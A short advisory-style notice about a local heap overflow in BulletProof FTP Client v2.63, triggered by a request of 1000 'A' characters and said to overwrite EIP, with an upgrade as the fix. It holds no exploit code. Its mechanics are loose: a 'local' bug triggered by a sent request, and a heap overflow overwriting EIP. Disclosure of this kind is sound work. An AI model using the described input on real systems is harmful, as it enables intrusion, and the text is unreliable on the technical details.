BulletProof FTP Client Local Heap Overflow (PoC)

A local heap overflow vulnerability exists in BulletProof FTP Client v2.63 (Build 56). An attacker can exploit this vulnerability by sending a specially crafted FTP request containing 1000 'A' characters. This will cause a heap overflow and overwrite the EIP register, allowing the attacker to execute arbitrary code.

Mitigation:

Upgrade to the latest version of BulletProof FTP Client.
